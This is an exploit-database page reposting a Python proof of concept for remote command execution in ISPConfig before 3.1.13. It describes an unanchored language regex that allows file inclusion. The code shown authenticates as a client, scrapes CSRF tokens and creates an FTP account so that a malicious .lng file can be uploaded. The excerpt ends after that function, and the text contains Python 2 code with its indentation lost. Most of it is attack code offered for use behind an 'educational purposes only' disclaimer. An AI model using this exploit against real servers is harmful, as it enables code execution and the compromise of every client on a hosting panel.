Exploits / Vulnerability Discovered : 2018-10-05 |
Type : webapps |
Platform : php
This exploit / vulnerability Ispconfig < 3.1.13 remote command execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Title: ISPConfig < 3.1.13 - Remote Command Execution
# Author: 0x09AL
# Date: 20/08/2018
# Vendor: https://www.ispconfig.org/
#
# Vulnerability Description
#
# There is an include on almost all the php files, which includes the language template.
# For example:
# In password_reset.php - Line 46 the following code tries to include the filename
# that is specified in the $_SESSION['s']['language'] variable.
#
# include ISPC_ROOT_PATH.'/web/login/lib/lang/'.$_SESSION['s']['language'].'.lng';
#
# Searching a little bit where the $_SESSION['s']['language'] variable is set we can find a reference in user_settings.php
# if(preg_match('/[a-z]{2}/',$_POST['language'])) {
# $_SESSION['s']['user']['language'] = $_POST['language'];
# $_SESSION['s']['language'] = $_POST['language'];
# } else {
# $app->error('Invalid language.');
# }
#
# The regex checks if the language contains two lower-case characters.
# The problem is that everything that contains two [a-z] characters will match the regex.
# Developer probably missed the ^ $ on the regex to match the entire file.
#
# Since in the new versions of php we can not use null byte injections, either a path-truncation attack
# we can create a ftp-account, upload the file we want to include with .lng extension at our path and the code
# will get executed as the ispconfig account and not as our chroot-ed account.
#
# This exploit can be triggered by having clients credentias , and exploiting this vulnerability we can compromise
# the entire clients.
#
# You need to specify the hostname:port , username, and password of the client.
import requests
import ftplib
import json
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def createFtp():
global site_id
r = exp.get('https://%s/sites/ftp_user_edit.php' % host,verify=False)
print "[+] Getting IDSof the sites [+]"
temp_array = r.text.split('<option value=')
nr_sites = len(temp_array)
print "[+] Number of sites %d [+]" % (int(nr_sites) - 1)
# Find the latest created site by checking the ID.
max_id = -9999
for i in range(1,nr_sites):
temp = int(temp_array[i].split('>')[0].replace("'",""))
if(temp > max_id):
max_id = temp
site_id = max_id
print "[+] Newly created site id is : %d [+]" % site_id
_csrf_key = r.text.split('name="_csrf_key" value="')[1].split('"')[0]
_csrf_id = r.text.split('name="_csrf_id" value="')[1].split('"')[0]
phpsessid = r.text.split('name="phpsessid" value="')[1].split('"')[0]
r = exp.post('https://%s/sites/ftp_user_edit.php' % host,data={'parent_domain_id':site_id,'username':'%s' % ftp_username,'password':'%s' % password,'repeat_password':'%s' % password,'quota_size':1024,'active':'y','id':'','_csrf_id':'%s' % _csrf_id,'_csrf_key':'%s' % _csrf_key,'next_tab':'','phpsessid':'%s' % phpsessid},verify=False)
print "[+] Created FTP Account [+]"
pass